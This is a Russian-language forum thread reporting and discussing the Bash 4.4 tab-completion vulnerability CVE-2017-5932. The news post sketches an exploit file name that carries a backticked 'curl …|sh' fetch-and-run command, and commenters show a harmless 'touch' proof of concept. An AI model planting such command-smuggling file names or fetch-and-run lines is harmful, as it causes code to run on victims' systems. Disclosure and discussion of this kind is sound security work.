forum.opennet.ru - "Уязвимость в реализации автодополнения ввода в Bash" (40)

форумы

помощь

поиск

регистрация

вход/выход

слежка

"Уязвимость в реализации автодополнения ввода в Bash"

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Уязвимость в реализации автодополнения ввода в Bash"	+/–
Сообщение от opennews (??) on 08-Фев-17, 12:10
В командном интерпретаторе Bash выявлена уязвимость (http://openwall.com/lists/oss-security/2017/02/07/9) (CVE-2017-5932 (https://security-tracker.debian.org/tracker/CVE-2017-5932)), которая может быть использована (https://github.com/jheyens/bash_completion_vuln/blob/master/...) для выполнения своего кода при выполнении операций автодополнения ввода клавишей табуляция. Проблема затрагивает ветку Bash 4.4. Исправление пока доступно только в виде патча (http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747ed...). Проблема вызвана ошибкой в коде экранирования спецсимволов и связана с неверной обработкой наличия разных типов кавычек. Для эксплуатации достаточно создать файл со специально оформленным именем. При попытке выполнения операции автодополнения для данного файла будут выполнены определённые злоумышленником инструкции командного интерпретаора. Например, для эксплуатации достаточно создать файл с именем: длинная_строка "`curl ссылка_скрипт\|sh` URL: http://openwall.com/lists/oss-security/2017/02/07/9 Новость: http://www.opennet.dev/opennews/art.shtml?num=45997
Ответить \| Правка \| Cообщить модератору

Оглавление

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 12:10 , 08-Фев-17, (1) +1

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 12:17 , 08-Фев-17, (2) +13

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 12:29 , 08-Фев-17, (4) +1

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 12:47 , 08-Фев-17, (5) +13

Уязвимость в реализации автодополнения ввода в Bash, Michael Shigorin, 13:11 , 08-Фев-17, (9) –1

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 14:21 , 08-Фев-17, (19) –1

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 15:20 , 08-Фев-17, (22)

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 13:18 , 08-Фев-17, (10) –10

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 13:27 , 08-Фев-17, (11) +6

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 13:33 , 08-Фев-17, (14) +1

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 13:36 , 08-Фев-17, (15) +4

Уязвимость в реализации автодополнения ввода в Bash, пох, 14:45 , 08-Фев-17, (20) –3

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 15:18 , 08-Фев-17, (21)

Уязвимость в реализации автодополнения ввода в Bash, ., 15:57 , 08-Фев-17, (23) –4

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 13:46 , 08-Фев-17, (17) +2
Уязвимость в реализации автодополнения ввода в Bash, Аноним, 13:51 , 08-Фев-17, (18) +3

Уязвимость в реализации автодополнения ввода в Bash, ryoken, 13:31 , 08-Фев-17, (13) –1

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 13:42 , 08-Фев-17, (16)

Это просто непростительно, дайте нам другие программы!, Марицуми, 15:58 , 08-Фев-17, (24) –1

Это просто непростительно, дайте нам другие программы!, Аноним, 17:05 , 08-Фев-17, (25) –3
Это просто непростительно, дайте нам другие программы!, пох, 18:31 , 08-Фев-17, (27) –1

Это просто непростительно, дайте нам другие программы!, Марицуми, 19:48 , 08-Фев-17, (32) +2

Это просто непростительно, дайте нам другие программы!, Аноним, 21:00 , 08-Фев-17, (39) –1
Это просто непростительно, дайте нам другие программы!, пох, 23:47 , 08-Фев-17, (41) +1

Уязвимость в реализации автодополнения ввода в Bash, Michael Shigorin, 17:59 , 08-Фев-17, (26) –7

Уязвимость в реализации автодополнения ввода в Bash, annual slayer, 19:11 , 08-Фев-17, (28) –1

Уязвимость в реализации автодополнения ввода в Bash, Michael Shigorin, 19:23 , 08-Фев-17, (29)

Уязвимость в реализации автодополнения ввода в Bash, Линукс еще не готов, 05:12 , 09-Фев-17, (42) –1

Уязвимость в реализации автодополнения ввода в Bash, PereresusNeVlezaetBuggy, 07:58 , 09-Фев-17, (45) –2

Уязвимость в реализации автодополнения ввода в Bash, Michael Shigorin, 16:05 , 09-Фев-17, (47) –1

Уязвимость в реализации автодополнения ввода в Bash, пох, 00:17 , 10-Фев-17, (49) –1

Уязвимость в реализации автодополнения ввода в Bash, Michael Shigorin, 00:47 , 10-Фев-17, (51) –1

Уязвимость в реализации автодополнения ввода в Bash, пох, 12:16 , 10-Фев-17, (52)

Уязвимость в реализации автодополнения ввода в Bash, Michael Shigorin, 12:36 , 10-Фев-17, (53) –1

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 16:41 , 11-Фев-17, (54)

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 20:33 , 08-Фев-17, (37)

Уязвимость в реализации автодополнения ввода в Bash, пох, 00:18 , 10-Фев-17, (50)

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 22:32 , 08-Фев-17, (40) –1

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 05:37 , 09-Фев-17, (43)

Уязвимость в реализации автодополнения ввода в Bash, Аноним, 13:55 , 09-Фев-17, (46) –1

Сообщения по теме [Сортировка по времени | RSS]

1. "Уязвимость в реализации автодополнения ввода в Bash" +1 +/–

Сообщение от Аноним (??) on 08-Фев-17, 12:10

А в чём практический смысл? Если я уже нахожусь на сервере и могу пользоваться кнопкой tab, то что мешает мне просто запустить скрипт без автодополнения?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

2. "Уязвимость в реализации автодополнения ввода в Bash" +13 +/–

Сообщение от Аноним (??) on 08-Фев-17, 12:17

Можно оставить такой файл в системе и надеяться, что администратор под рутом нажмёт на таб.

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

4. "Уязвимость в реализации автодополнения ввода в Bash" +1 +/–

Сообщение от Аноним (??) on 08-Фев-17, 12:29

Администратор под рутом не должен запускать скрипты, которые можно было редактировать обычным пользователем.

Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

5. "Уязвимость в реализации автодополнения ввода в Bash" +13 +/–

Сообщение от Аноним (??) on 08-Фев-17, 12:47

так он не узнает что запустил скрипт))

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

9. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от Michael Shigorin (ok) on 08-Фев-17, 13:11

> А в чём практический смысл?
Спросите дистрибутивы, где раздают беспарольное sudo, например.

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

19. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от Аноним (??) on 08-Фев-17, 14:21

> дистрибутивы, где раздают беспарольное sudo, например.
Например PuppyLinux

Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

22. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от Аноним (??) on 08-Фев-17, 15:20

Он как бы специализированный. И кстати в режиме LiveUSB в Ubuntu есть sudo, тоже беспарольный.

Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

10. "Уязвимость в реализации автодополнения ввода в Bash" –10 +/–

Сообщение от Аноним (??) on 08-Фев-17, 13:18

традиционный опеннет - читать по-английски люди не умеют, но новость ляпнуть норовят.
А теперь что на самом деле: когда bash делает tab-expansion - он неверно расставляет кавычки и экранирующие слэши в сложных случаях. enter нажимать, чтобы выполнить код - тебе, дорогой анон, придется самому, от простого нажатия tab ничего интересного в твоей системе не произойдет.
Ну и мораль сей басни понятная - нажав таб и обнаружив, что у тебя вылезла какая-то нёх с управляющими символами - не надо нажимать enter, никогда, ни в bash, ни в чем-то еще. find -exec или xargs -0 rm ваши лучшие друзья.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

11. "Уязвимость в реализации автодополнения ввода в Bash" +6 +/–

Сообщение от Аноним (??) on 08-Фев-17, 13:27

Знатно ты в лужу газанул.
        $ ls
        '"`touch HereBeDragons`'
        $ ./\"\`touch\ HereBeDragons\`/^C
        $ ls
        HereBeDragons  '"`touch HereBeDragons`'
        $ echo $BASH_VERSION
        4.4.0(1)-release

Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

14. "Уязвимость в реализации автодополнения ввода в Bash" +1 +/–

Сообщение от Аноним (??) on 08-Фев-17, 13:33

... что, впрочем, не отменяет необходимости читать оригинал.

Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

15. "Уязвимость в реализации автодополнения ввода в Bash" +4 +/–

Сообщение от Аноним (??) on 08-Фев-17, 13:36

> от простого нажатия tab ничего интересного в твоей системе не произойдет.
"We can create a file with a specially crafted file name. A
user trying to use bash' path completion feature ('TAB-completion') on
this file will execute shell code without any additional actions taken."

Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

20. "Уязвимость в реализации автодополнения ввода в Bash" –3 +/–

Сообщение от пох on 08-Фев-17, 14:45

> this file will execute shell code without any additional actions taken."
кто-то может подтвердить? (нету у меня новых-модных систем, свежайший bash из доступных - 4.1 )
Если у них tab completion _исполняет_код_ до нажатия enter (и неважно, сам я его набрал или подсунули через баг с кавычками), чиста чтоб посмотреть нельзя ли потом еще что-то дописать в конец строки -  это какой-то феерический п-ц, не надо мне ТАКОГО автодополнения. То есть это вообще не ошибка, это design flaw.
Из приведенных в pdf'е кусков кода и коммита b25f9dcb9e3 это, мягко говоря, неочевидно.

Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

21. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от Аноним (??) on 08-Фев-17, 15:18

Вон выше есть код для проверки. Собрал bash и проверил, работает как описано.

Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

23. "Уязвимость в реализации автодополнения ввода в Bash" –4 +/–

Сообщение от . on 08-Фев-17, 15:57

> Вон выше есть код для проверки. Собрал bash и проверил, работает как описано.
а руками набранный? cd "/`touch /dev/shm/delme`<tab> ?
(не собирать же мне это уродство ради проверки... тем более, что если подтвердится - вообще низачем не надо его собирать, его разобрать надо где собрано и думать, чем заменять)

Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

17. "Уязвимость в реализации автодополнения ввода в Bash" +2 +/–

Сообщение от Аноним (??) on 08-Фев-17, 13:46

Написано, что запускать не нужно, достаточно tab нажать.
"A user utilizing GNU Bash’s built-in path completion by hitting the Tab button (f.e.
to remove it with rm) triggers the exploit without executing a command itself."

Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

18. "Уязвимость в реализации автодополнения ввода в Bash" +3 +/–

Сообщение от Аноним (??) on 08-Фев-17, 13:51

Это ты не так понял, в новости всё правильно написано. Для запуска кода достаточно нажать tab, не нажимая enter.

Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

13. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от ryoken (ok) on 08-Фев-17, 13:31

> В командном интерпретаторе Bash выявлена уязвимость (http://openwall.com/lists/oss-security/2017/02/07/9)
> (CVE-2017-5932 (https://security-tracker.debian.org/tracker/CVE-2017-5932)), которая
> может быть использована (https://github.com/jheyens/bash_completion_vuln/blob/master/...)
> для выполнения своего кода при выполнении операций автодополнения ввода клавишей табуляция.
> Проблема затрагивает  ветку Bash 4.4. Исправление пока доступно только в
> виде патча (http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747ed...).
Мда...
Ну хоть su без дырок?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

16. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от Аноним (??) on 08-Фев-17, 13:42

> Ну хоть su без дырок?
Программы без дырок? Насмешил. А если даже были бы идеальные программы в вакууме, обнаружились бы дырки в железе.

Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

24. "Это просто непростительно, дайте нам другие программы!" –1 +/–

Сообщение от Марицуми on 08-Фев-17, 15:58

На что переходить теперь, на zsh? Чтобы поменьше решета. А то шеллшок на шеллшоке сидит в самом деле.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

25. "Это просто непростительно, дайте нам другие программы!" –3 +/–

Сообщение от Аноним (??) on 08-Фев-17, 17:05

О, моя жена любит делать себе шеллак в салоне красоты

Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

27. "Это просто непростительно, дайте нам другие программы!" –1 +/–

Сообщение от пох on 08-Фев-17, 18:31

> На что переходить теперь, на zsh? Чтобы поменьше решета.
ответ зависит от того заминусованного вопроса - cработает ли "эксплойт" не для имени файла, а для вручную набранного того же самого. Если это какая-то хитрожопая ошибка где-то именно в коде для file completion, то можно хоть на zsh, если ты можешь им пользоваться,почему же нет. Ну или просто bash откатить до пресловутого коммита, вряд ли там что-то, чем ты пользуешься каждый день.
А вот если это таки баш без объявленя войны начал исполнять бэктикнутый код только ради того чтобы увидеть, не может ли он на его конце добавить комплешн - то бежать надо уже бросая обоз. Потому что это означает полное безумие авторов, они тебе еще не один такой фокус подкинут, если не завтра, так через год.
К сожалению, вряд ли у тебя получится заменить zsh'ем /bin/sh - а начинать, во втором случае, надо с этого.

Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

32. "Это просто непростительно, дайте нам другие программы!" +2 +/–

Сообщение от Марицуми on 08-Фев-17, 19:48

Сабжевая уязвимость не в bash-completion, а именно в самом голом bash 4.4 с тупым автодополнением по filename/PATH.
За что меня минусуют, что не так то? https://www.cvedetails.com/vulnerability-list/vendor_id-72/p... 2 уязвимости за 2016, одна за 2017. В то время как https://www.cvedetails.com/vulnerability-list/vendor_id-7498.... В GNU вообще слышали про юнит-тесты, всякое такое?

Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

39. "Это просто непростительно, дайте нам другие программы!" –1 +/–

Сообщение от Аноним (??) on 08-Фев-17, 21:00

> В GNU вообще слышали про юнит-тесты, всякое такое?
А ты слепой что ли? http://git.savannah.gnu.org/cgit/bash.git/tree/tests

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

41. "Это просто непростительно, дайте нам другие программы!" +1 +/–

Сообщение от пох on 08-Фев-17, 23:47

> Сабжевая уязвимость не в bash-completion, а именно в самом голом bash 4.4 с тупым
> автодополнением по filename/PATH.
было б оно тупое - не было б уязвимости. А оно не тупое - пытается исполнять команду до того, как ее до конца набрали, ну ахренеть, дайте две (это хорошо коли две, а не двадцать две).
> В GNU вообще слышали про юнит-тесты, всякое такое?
ну а откуда возьмется юнит-тест, если раньше такой проблемы не было? Это ж надо было догадаться о возможности ее появления. А от юниттеста на функциональность этой фичи - ни жарко, ни холодно, он-то может и есть (и выдал положительный результат, completion-то сработал ;-)
Ну и внимания zsh'у уделяется в разы меньше - так что о качестве кода, к сожалению, число cve ничего не говорит.
P.S. интересно, сколько было уязвимостей в bash-1.14.7 ? И кто может сходу назвать ситуацию, когда ему нужна версия новее.

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

26. "Уязвимость в реализации автодополнения ввода в Bash" –7 +/–

Сообщение от Michael Shigorin (ok) on 08-Фев-17, 17:59

"В альте старый баш", верещали они...

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

28. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от annual slayer on 08-Фев-17, 19:11

альт распологал инсайдерской информацией об этой уязвимости?

Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

29. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от Michael Shigorin (ok) on 08-Фев-17, 19:23

В данном разе, как понимаю, нет.

Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

42. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от Линукс еще не готов on 09-Фев-17, 05:12

А почему в ал те баш а не какой нибудь zsh

Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

45. "Уязвимость в реализации автодополнения ввода в Bash" –2 +/–

Сообщение от PereresusNeVlezaetBuggy (ok) on 09-Фев-17, 07:58

> А почему в ал те баш а не какой нибудь zsh
Ребят, вы смеётесь? Уж на что bash развесистый в плане фич, так zsh его обходит. Так что менять bash на zsh глупо. Уж скорее в сторону (PD)KSH надо смотреть...

Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

47. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от Michael Shigorin (ok) on 09-Фев-17, 16:05

>> А почему в ал те баш а не какой нибудь zsh
> Ребят, вы смеётесь? Уж на что bash развесистый в плане фич,
> так zsh его обходит. Так что менять bash на zsh глупо.
> Уж скорее в сторону (PD)KSH надо смотреть...
Как многолетний пользователь zsh, майнтейнер пакета pdksh и ловец плюх в (d)ash никак не могу согласиться -- в качестве интерактивного шелла мне всё-таки оптимален именно zsh. :)

Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

49. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от пох on 10-Фев-17, 00:17

ты лучше скажи, на что менять /bin/sh ? Учитывая миллион кривых скриптов (да хоть в тех же rpm'ах) которые радостно развалятся если его заменить чем-то недостаточно похожим на bash.
Ну и отдельно - что делать со скриптами где явно #!/bin/bash - кроме как, конечно, найти и убить их авторов, но это задача не на одно столетие, они размножаются.
Перейти на one true 1.14.7? Так в нем наверняка тоже дыр полно.

Ответить | Правка | ^ к родителю #47 | Наверх | Cообщить модератору

51. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от Michael Shigorin (ok) on 10-Фев-17, 00:47

> ты лучше скажи, на что менять /bin/sh ?
У нас это собранный по минимуму bash3 (по крайней мере доныне).

Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

52. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от пох on 10-Фев-17, 12:16

> У нас это собранный по минимуму bash3
ну и вот чего в нем хорошего? Дыр в нем - было, сколько неанонсированных или вообще незамеченных и просто выброшенных вместе с кусками кода, переделанного в 4 - неведомо.
Не-ет, вниз это не наш путь.

Ответить | Правка | ^ к родителю #51 | Наверх | Cообщить модератору

53. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от Michael Shigorin (ok) on 10-Фев-17, 12:36

>> У нас это собранный по минимуму bash3
> ну и вот чего в нем хорошего?
Вот это.

Ответить | Правка | ^ к родителю #52 | Наверх | Cообщить модератору

54. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от Аноним (??) on 11-Фев-17, 16:41

Почему никто уничижительно не вопит про "те, кто пишет #!/bin/bash, а не #!/usr/bin/env bash" ? Что случилось с opennet-ом?

Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

37. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от Аноним (??) on 08-Фев-17, 20:33

Кстати: "культура" коммитов удивительно уродская для такого проекта.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

50. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от пох on 10-Фев-17, 00:18

> Кстати: "культура" коммитов удивительно уродская для такого проекта.
для проекта, начатого во времена sccs - неудивительно.

Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

40. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от Аноним (??) on 08-Фев-17, 22:32

Так не работает же.
GNU bash, version 4.4.11(1)-release (x86_64-unknown-linux-gnu)

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

43. "Уязвимость в реализации автодополнения ввода в Bash" +/–

Сообщение от Аноним (??) on 09-Фев-17, 05:37

Может потому, что в 4.4.11(1) исправили?

Ответить | Правка | ^ к родителю #40 | Наверх | Cообщить модератору

46. "Уязвимость в реализации автодополнения ввода в Bash" –1 +/–

Сообщение от Аноним (??) on 09-Фев-17, 13:55

это вам не systemd, это хорошая, отлаженная система

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. "Уязвимость в реализации автодополнения ввода в Bash"	+1 +/–
Сообщение от Аноним (??) on 08-Фев-17, 12:10
А в чём практический смысл? Если я уже нахожусь на сервере и могу пользоваться кнопкой tab, то что мешает мне просто запустить скрипт без автодополнения?
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	2. "Уязвимость в реализации автодополнения ввода в Bash"	+13 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 12:17
	Можно оставить такой файл в системе и надеяться, что администратор под рутом нажмёт на таб.
	Ответить \| Правка \| ^ к родителю #1 \| Наверх \| Cообщить модератору


	4. "Уязвимость в реализации автодополнения ввода в Bash"	+1 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 12:29
	Администратор под рутом не должен запускать скрипты, которые можно было редактировать обычным пользователем.
	Ответить \| Правка \| ^ к родителю #2 \| Наверх \| Cообщить модератору


	5. "Уязвимость в реализации автодополнения ввода в Bash"	+13 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 12:47
	так он не узнает что запустил скрипт))
	Ответить \| Правка \| ^ к родителю #4 \| Наверх \| Cообщить модератору


	9. "Уязвимость в реализации автодополнения ввода в Bash"	–1 +/–
	Сообщение от Michael Shigorin (ok) on 08-Фев-17, 13:11
	> А в чём практический смысл? Спросите дистрибутивы, где раздают беспарольное sudo, например.
	Ответить \| Правка \| ^ к родителю #1 \| Наверх \| Cообщить модератору


	19. "Уязвимость в реализации автодополнения ввода в Bash"	–1 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 14:21
	> дистрибутивы, где раздают беспарольное sudo, например. Например PuppyLinux
	Ответить \| Правка \| ^ к родителю #9 \| Наверх \| Cообщить модератору


	22. "Уязвимость в реализации автодополнения ввода в Bash"	+/–
	Сообщение от Аноним (??) on 08-Фев-17, 15:20
	Он как бы специализированный. И кстати в режиме LiveUSB в Ubuntu есть sudo, тоже беспарольный.
	Ответить \| Правка \| ^ к родителю #19 \| Наверх \| Cообщить модератору

10. "Уязвимость в реализации автодополнения ввода в Bash"	–10 +/–
Сообщение от Аноним (??) on 08-Фев-17, 13:18
традиционный опеннет - читать по-английски люди не умеют, но новость ляпнуть норовят. А теперь что на самом деле: когда bash делает tab-expansion - он неверно расставляет кавычки и экранирующие слэши в сложных случаях. enter нажимать, чтобы выполнить код - тебе, дорогой анон, придется самому, от простого нажатия tab ничего интересного в твоей системе не произойдет. Ну и мораль сей басни понятная - нажав таб и обнаружив, что у тебя вылезла какая-то нёх с управляющими символами - не надо нажимать enter, никогда, ни в bash, ни в чем-то еще. find -exec или xargs -0 rm ваши лучшие друзья.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	11. "Уязвимость в реализации автодополнения ввода в Bash"	+6 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 13:27
	Знатно ты в лужу газанул. $ ls '"`touch HereBeDragons`' $ ./\"\`touch\ HereBeDragons\`/^C $ ls HereBeDragons '"`touch HereBeDragons`' $ echo $BASH_VERSION 4.4.0(1)-release
	Ответить \| Правка \| ^ к родителю #10 \| Наверх \| Cообщить модератору


	14. "Уязвимость в реализации автодополнения ввода в Bash"	+1 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 13:33
	... что, впрочем, не отменяет необходимости читать оригинал.
	Ответить \| Правка \| ^ к родителю #11 \| Наверх \| Cообщить модератору


	15. "Уязвимость в реализации автодополнения ввода в Bash"	+4 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 13:36
	> от простого нажатия tab ничего интересного в твоей системе не произойдет. "We can create a file with a specially crafted file name. A user trying to use bash' path completion feature ('TAB-completion') on this file will execute shell code without any additional actions taken."
	Ответить \| Правка \| ^ к родителю #10 \| Наверх \| Cообщить модератору


	20. "Уязвимость в реализации автодополнения ввода в Bash"	–3 +/–
	Сообщение от пох on 08-Фев-17, 14:45
	> this file will execute shell code without any additional actions taken." кто-то может подтвердить? (нету у меня новых-модных систем, свежайший bash из доступных - 4.1 ) Если у них tab completion _исполняет_код_ до нажатия enter (и неважно, сам я его набрал или подсунули через баг с кавычками), чиста чтоб посмотреть нельзя ли потом еще что-то дописать в конец строки - это какой-то феерический п-ц, не надо мне ТАКОГО автодополнения. То есть это вообще не ошибка, это design flaw. Из приведенных в pdf'е кусков кода и коммита b25f9dcb9e3 это, мягко говоря, неочевидно.
	Ответить \| Правка \| ^ к родителю #15 \| Наверх \| Cообщить модератору


	21. "Уязвимость в реализации автодополнения ввода в Bash"	+/–
	Сообщение от Аноним (??) on 08-Фев-17, 15:18
	Вон выше есть код для проверки. Собрал bash и проверил, работает как описано.
	Ответить \| Правка \| ^ к родителю #20 \| Наверх \| Cообщить модератору


	23. "Уязвимость в реализации автодополнения ввода в Bash"	–4 +/–
	Сообщение от . on 08-Фев-17, 15:57
	> Вон выше есть код для проверки. Собрал bash и проверил, работает как описано. а руками набранный? cd "/`touch /dev/shm/delme`<tab> ? (не собирать же мне это уродство ради проверки... тем более, что если подтвердится - вообще низачем не надо его собирать, его разобрать надо где собрано и думать, чем заменять)
	Ответить \| Правка \| ^ к родителю #21 \| Наверх \| Cообщить модератору


	17. "Уязвимость в реализации автодополнения ввода в Bash"	+2 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 13:46
	Написано, что запускать не нужно, достаточно tab нажать. "A user utilizing GNU Bash’s built-in path completion by hitting the Tab button (f.e. to remove it with rm) triggers the exploit without executing a command itself."
	Ответить \| Правка \| ^ к родителю #10 \| Наверх \| Cообщить модератору


	18. "Уязвимость в реализации автодополнения ввода в Bash"	+3 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 13:51
	Это ты не так понял, в новости всё правильно написано. Для запуска кода достаточно нажать tab, не нажимая enter.
	Ответить \| Правка \| ^ к родителю #10 \| Наверх \| Cообщить модератору

13. "Уязвимость в реализации автодополнения ввода в Bash"	–1 +/–
Сообщение от ryoken (ok) on 08-Фев-17, 13:31
> В командном интерпретаторе Bash выявлена уязвимость (http://openwall.com/lists/oss-security/2017/02/07/9) > (CVE-2017-5932 (https://security-tracker.debian.org/tracker/CVE-2017-5932)), которая > может быть использована (https://github.com/jheyens/bash_completion_vuln/blob/master/...) > для выполнения своего кода при выполнении операций автодополнения ввода клавишей табуляция. > Проблема затрагивает ветку Bash 4.4. Исправление пока доступно только в > виде патча (http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747ed...). Мда... Ну хоть su без дырок?
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	16. "Уязвимость в реализации автодополнения ввода в Bash"	+/–
	Сообщение от Аноним (??) on 08-Фев-17, 13:42
	> Ну хоть su без дырок? Программы без дырок? Насмешил. А если даже были бы идеальные программы в вакууме, обнаружились бы дырки в железе.
	Ответить \| Правка \| ^ к родителю #13 \| Наверх \| Cообщить модератору

24. "Это просто непростительно, дайте нам другие программы!"	–1 +/–
Сообщение от Марицуми on 08-Фев-17, 15:58
На что переходить теперь, на zsh? Чтобы поменьше решета. А то шеллшок на шеллшоке сидит в самом деле.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	25. "Это просто непростительно, дайте нам другие программы!"	–3 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 17:05
	О, моя жена любит делать себе шеллак в салоне красоты
	Ответить \| Правка \| ^ к родителю #24 \| Наверх \| Cообщить модератору


	27. "Это просто непростительно, дайте нам другие программы!"	–1 +/–
	Сообщение от пох on 08-Фев-17, 18:31
	> На что переходить теперь, на zsh? Чтобы поменьше решета. ответ зависит от того заминусованного вопроса - cработает ли "эксплойт" не для имени файла, а для вручную набранного того же самого. Если это какая-то хитрожопая ошибка где-то именно в коде для file completion, то можно хоть на zsh, если ты можешь им пользоваться,почему же нет. Ну или просто bash откатить до пресловутого коммита, вряд ли там что-то, чем ты пользуешься каждый день. А вот если это таки баш без объявленя войны начал исполнять бэктикнутый код только ради того чтобы увидеть, не может ли он на его конце добавить комплешн - то бежать надо уже бросая обоз. Потому что это означает полное безумие авторов, они тебе еще не один такой фокус подкинут, если не завтра, так через год. К сожалению, вряд ли у тебя получится заменить zsh'ем /bin/sh - а начинать, во втором случае, надо с этого.
	Ответить \| Правка \| ^ к родителю #24 \| Наверх \| Cообщить модератору


	32. "Это просто непростительно, дайте нам другие программы!"	+2 +/–
	Сообщение от Марицуми on 08-Фев-17, 19:48
	Сабжевая уязвимость не в bash-completion, а именно в самом голом bash 4.4 с тупым автодополнением по filename/PATH. За что меня минусуют, что не так то? https://www.cvedetails.com/vulnerability-list/vendor_id-72/p... 2 уязвимости за 2016, одна за 2017. В то время как https://www.cvedetails.com/vulnerability-list/vendor_id-7498.... В GNU вообще слышали про юнит-тесты, всякое такое?
	Ответить \| Правка \| ^ к родителю #27 \| Наверх \| Cообщить модератору


	39. "Это просто непростительно, дайте нам другие программы!"	–1 +/–
	Сообщение от Аноним (??) on 08-Фев-17, 21:00
	> В GNU вообще слышали про юнит-тесты, всякое такое? А ты слепой что ли? http://git.savannah.gnu.org/cgit/bash.git/tree/tests
	Ответить \| Правка \| ^ к родителю #32 \| Наверх \| Cообщить модератору


	41. "Это просто непростительно, дайте нам другие программы!"	+1 +/–
	Сообщение от пох on 08-Фев-17, 23:47
